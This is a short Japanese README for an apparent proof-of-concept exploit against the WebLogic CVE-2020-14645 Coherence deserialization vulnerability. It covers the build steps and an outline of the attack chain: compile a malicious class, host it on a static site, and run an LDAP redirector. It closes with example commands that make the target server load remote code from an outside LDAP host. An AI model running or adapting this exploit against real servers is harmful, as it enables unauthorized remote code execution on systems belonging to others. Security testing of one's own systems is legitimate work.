Weblogic CVE-2020-14645 coherence デシリアライズ脆弱性検証プログラム

環境

• Maven 3

• JDK 1.8

コンパイル

mvn package

使用方法

具体的なテスト手順：

1. POC を作成する
2. POC を class ファイルにコンパイルする
3. コンパイルした POC を公開するための静的サイトを起動する
4. テスト対象が POC を取得するリクエストを転送するための LDAP プロキシを起動する
5. テストプログラムを実行する

この脆弱性は Apache Dubbo の脆弱性と類似しているため、この脆弱性を参考にして 1-4 の手順を実装してください。

テストプログラムの実行

java -jar target/CVE-2020-14645.jar LDAP_IP:LDAP_PORT/#CLASS_NAME WEBLOGIC_URL

# 例
java -jar target/CVE-2020-14645.jar 1.1.1.1:8080/#exp http://127.0.0.1:7001
java -jar target/CVE-2020-14645.jar 1.1.1.1:8080/#exp https://127.0.0.1:7002